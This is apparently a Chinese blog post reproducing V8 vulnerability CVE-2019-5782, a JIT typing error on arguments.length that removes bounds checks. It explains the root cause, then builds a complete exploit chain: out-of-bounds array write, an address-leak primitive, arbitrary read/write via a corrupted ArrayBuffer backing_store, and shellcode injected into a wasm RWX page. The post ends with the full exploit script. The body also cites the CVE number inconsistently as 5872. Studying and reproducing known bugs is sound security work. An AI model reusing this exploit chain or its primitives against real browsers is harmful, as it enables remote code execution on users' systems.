CVE-2019-5782

v8 引擎漏洞 CVE-2019-5872 复现,因本人对 JIT 技术的了解较浅,故本文对漏洞成因的 JIT 方面并不做详细的说明。

环境

切换到漏洞修复前的版本,进行编译:

$ git checkout b474b3102bd4a95eafcdb68e0e44656046132bc9
$ gclient sync

debug 模式调试会有点问题,所以选择 release 模式进行编译

$ ./tools/dev/v8gen.py x64.release

为了使用 job 等调试命令,在 out.gn/x64.release/args.gn 里写入下面配置:

is_debug = false
target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

最后编译即可

$ ninja -C out.gn/x64.release d8

漏洞分析

先使用官方的 Poc 进行测试:

// Copyright 2018 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
function fun(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  a2 = new Array(0x10);
  a2[0] = 1.1;
  a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
  a1[(x >> 16) * 41] = 8.91238232205e-313;  // 0x2a00000000
}
var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
assertEquals(16, a2.length);
for (let i = 8; i < 32; i++) {
  assertEquals(undefined, a2[i]);
}

上面的 assertEquals 是没有定义的,稍作更改如下:

function fun(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  a2 = new Array(0x10);
  a2[0] = 1.1;
  a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
  a1[(x >> 16) * 41] = 8.91238232205e-313;  // 0x2a00000000
}
var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
console.log(a2.length);
for (let i = 8; i < 32; i++) {
  console.log(a2[i]);
}

可以看到,a2 数组的长度从 16 变成了 42(0x2a),且从 a2[16] 往后的数值都不是 undefined,很明显出现了数组越界
upload successful

稍加调试,就可以发现问题出现在这里:

a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313;  // 0x2a00000000

这里造成了越界写操作,把 a2 的 length 给改写了,但实际上对数组越界写的情况是会导致数组扩容的,经过了解,这是因为 JIT 优化把越界的一些检查去掉了,导致漏洞的产生

可以看看漏洞修复的 diff :
upload successful

修复前,函数参数的长度类型是 Type::Range(0.0, Code::kMaxArguments, zone());

Code::kMaxArguments 的值是 65534,表示函数支持的最大参数数量是 65534,但是后来函数参数支持更多了,这里确没有更改,Poc 中使用了右移 16 位的操作符,65534 右移 16 位必定是 0,所以 JIT 认为这一计算始终是 0,于是进行了优化,把一些越界检查给去掉了,因此造成了越界读写的漏洞

漏洞利用

只要改写 a2 的 length 字段很大的值,那么 a2 数组可以越界的范围很大,漏洞利用起来也很简单

  1. 先利用数组越界读写泄露对象的地址
  2. 再利用越界读写构造任意地址读写
  3. 结合 1, 2 可以 leak 出 wasm 的 RWX 段位置,再任意写注入 shellcode

先仿照 Poc 将 a2 的 length 改成很大的值,如 0xffff:

function fun(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  a2 = new Array(0x10);
  a2[0] = 1.1;
  a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
  a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0xffff00000000
}

var a1, a2;
var a3 = [1.1,2.2];
a3.length = 0x11000;

for (let i = 0; i < 100000; i++) fun(1);
//%OptimizeFunctionOnNextCall(fun);

fun(...a3);

其中的 %OptimizeFunctionOnNextCall(fun) 其实让 JIT 优化 fun 函数,其实可以用多次循环调用 fun 函数来替代

这里为了方便后续的使用,还写了 BigInt 与 Float 类型的互相转换函数:

var fi_buf = new ArrayBuffer(8);
var f_buf = new Float64Array(fi_buf);
var i_buf = new BigUint64Array(fi_buf);

function f2i(value) {
        f_buf[0] = value;
        return i_buf[0];
}

function i2f(value) {
        i_buf[0] = value;
        return f_buf[0];
}

泄露对象地址

先定义一个对象 objLeak,有 tagleak 属性,利用越界读,找到 tag 属性值 0x4567 相对于数组 a2 偏移的索引,即可得到 leak 属性对应的索引 offset_leak,再通过 a2[offset_leak] 即可将 leak 属性的 float 值读出来,只要往 leak 属性放入任意的对象,即可读出任意对象的地址

代码如下:

var objLeak = {'leak': 0x1234, 'tag': 0x4567};
var offset_leak = 0;
for (let i = 0; i < 0xffff; i++) {
        if (f2i(a2[i]) == 0x456700000000) {
                offset_leak = i - 1;
                break;
        }
}

console.log('offset_leak = ' + offset_leak);

function addressOf(obj) {
        objLeak.leak = obj;
        return f2i(a2[offset_leak]);
}


var objTest = {'aaa': 123};

%DebugPrint(objTest);
console.log('addressOf(objTest) = 0x' + addressOf(objTest).toString(16));
%SystemBreak();

上面还用了 objTest 对象来测试 addressOf,调试结果如下:
upload successful

任意地址读写

任意地址读写其实也很简单,可以先定义一个 ArrayBuffer 对象,改写它的 backing_store 指针,就可以对指向的地方任意读写

var buf2write = new ArrayBuffer(0xbeef);
var data_view = new DataView(buf2write);
var offset_backing_store = 0;

%DebugPrint(buf2write);
%SystemBreak();

调试可以看到,ArrayBuffer 的 length 字段是指定的 0xbeef,用同样的方式,找到 0xbeef 即可找到对应在 a2 数组的索引,随之即可找到 backing_store 指针的位置
upload successful

代码如下:

var buf2write = new ArrayBuffer(0xbeef);
var data_view = new DataView(buf2write);
var offset_backing_store = 0;

%DebugPrint(buf2write);
%SystemBreak();


for (let i = 0; i < 0xffff; i++) {
        if (f2i(a2[i]) == 0xbeef) {
                offset_backing_store = i + 1;
                break;
        }
}



function write64(addr, value) {
        a2[offset_backing_store] = i2f(addr);
        data_view.setFloat64(0, i2f(value), true);
}

function read64(addr) {
        a2[offset_backing_store] = i2f(addr);
        return f2i(data_view.getFloat64(0, true));
}

write64(addressOf(objTest) + 0x18n - 1n, 0x2333n);
%DebugPrint(objTest);

console.log('value = 0x' + read64(addressOf(objTest) + 0x18n - 1n).toString(16));
%SystemBreak();

调试测试一下,这是 ArrayBuffer 修改前:
upload successful

然后看到 objTest 被改写了:
upload successful

upload successful

ArrayBuffer 也同预期那样,backing_store 指针被改写了:
upload successful

利用 wasm 执行 shellcode

大致按照下面的路线找到 RWX 段的地址,然后注入 shellcode 就行

wasmInstance.exports.main -> shared_info -> data -> instance -> rwx_page

先构造一个 wasm 对象

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

%DebugPrint(f);
%SystemBreak();

对象 shared_info 的地址在对象 f 的 +0x18 偏移处:
upload successful

对象 data 的地址在 shared_info 的 +0x8 偏移处:
upload successful

在 data 偏移 +0x10 处找到 instance 对象的地址:
upload successful

在 instance+0xe8 处找到 RWX 段的地址:
upload successful

upload successful

找 RWX 段的过程也可以参照本人之前写的 starctf oob 复现 的文章

写入 shellcode:

var f_addr = addressOf(f) - 1n;
var shared_info_addr = read64(f_addr + 0x18n) - 1n;
var data_addr = read64(shared_info_addr + 0x8n) - 1n;
var instance_addr = read64(data_addr + 0x10n) - 1n;
var rwx_page_addr = read64(instance_addr + 0xe8n);


var sc_arr = [
    0x10101010101b848n,    0x62792eb848500101n,    0x431480101626d60n,    0x2f7273752fb84824n,
    0x48e78948506e6962n,    0x1010101010101b8n,    0x6d606279b8485001n,    0x2404314801010162n,
    0x1485e086a56f631n,    0x313b68e6894856e6n,    0x101012434810101n,    0x4c50534944b84801n,
    0x6a52d231503d5941n,    0x894852e201485a08n,    0x50f583b6ae2n,
]

for (let i = 0n; i < sc_arr.length; i++) {
        write64(rwx_page_addr + i * 8n, sc_arr[i]);
}

console.log(f());

成功弹出计算器:
upload successful

生成 shellcode 的脚本同样可以参考之前的文章 starctf oob 复现

完整 exp

var fi_buf = new ArrayBuffer(8);
var f_buf = new Float64Array(fi_buf);
var i_buf = new BigUint64Array(fi_buf);

function f2i(value) {
	f_buf[0] = value;
	return i_buf[0];
}

function i2f(value) {
	i_buf[0] = value;
	return f_buf[0];
}


function fun(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  a2 = new Array(0x10);
  a2[0] = 1.1;
  a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
  a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0xffff00000000
}

var a1, a2;
var a3 = [1.1,2.2];
a3.length = 0x11000;

for (let i = 0; i < 100000; i++) fun(1);
//%OptimizeFunctionOnNextCall(fun);

fun(...a3);

//console.log(a2.length);
//%DebugPrint(a1);
//%DebugPrint(a2);
//%SystemBreak();



var objLeak = {'leak': 0x1234, 'tag': 0x4567};
var offset_leak = 0;
for (let i = 0; i < 0xffff; i++) {
	if (f2i(a2[i]) == 0x456700000000) {
		offset_leak = i - 1;
		break;
	}
}

console.log('offset_leak = ' + offset_leak);

function addressOf(obj) {
	objLeak.leak = obj;
	return f2i(a2[offset_leak]);
}


var objTest = {'aaa': 123};


//%DebugPrint(objTest);
console.log('addressOf(objTest) = 0x' + addressOf(objTest).toString(16));
//%SystemBreak();


var buf2write = new ArrayBuffer(0xbeef);
var data_view = new DataView(buf2write);
var offset_backing_store = 0;

//%DebugPrint(buf2write);
//%SystemBreak();


for (let i = 0; i < 0xffff; i++) {
	if (f2i(a2[i]) == 0xbeef) {
		offset_backing_store = i + 1;
		break;
	}
}



function write64(addr, value) {
	a2[offset_backing_store] = i2f(addr);
	data_view.setFloat64(0, i2f(value), true);
}

function read64(addr) {
	a2[offset_backing_store] = i2f(addr);
	return f2i(data_view.getFloat64(0, true));
}



write64(addressOf(objTest) + 0x18n - 1n, 0x2333n);
//%DebugPrint(objTest);

console.log('value = 0x' + read64(addressOf(objTest) + 0x18n - 1n).toString(16));
//%SystemBreak();


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

//%DebugPrint(f);
//%SystemBreak();



var f_addr = addressOf(f) - 1n;
var shared_info_addr = read64(f_addr + 0x18n) - 1n;
var data_addr = read64(shared_info_addr + 0x8n) - 1n;
var instance_addr = read64(data_addr + 0x10n) - 1n;
var rwx_page_addr = read64(instance_addr + 0xe8n);


var sc_arr = [
    0x10101010101b848n,    0x62792eb848500101n,    0x431480101626d60n,    0x2f7273752fb84824n,
    0x48e78948506e6962n,    0x1010101010101b8n,    0x6d606279b8485001n,    0x2404314801010162n,
    0x1485e086a56f631n,    0x313b68e6894856e6n,    0x101012434810101n,    0x4c50534944b84801n,
    0x6a52d231503d5941n,    0x894852e201485a08n,    0x50f583b6ae2n,
]

for (let i = 0n; i < sc_arr.length; i++) {
	write64(rwx_page_addr + i * 8n, sc_arr[i]);
}

console.log(f());

参考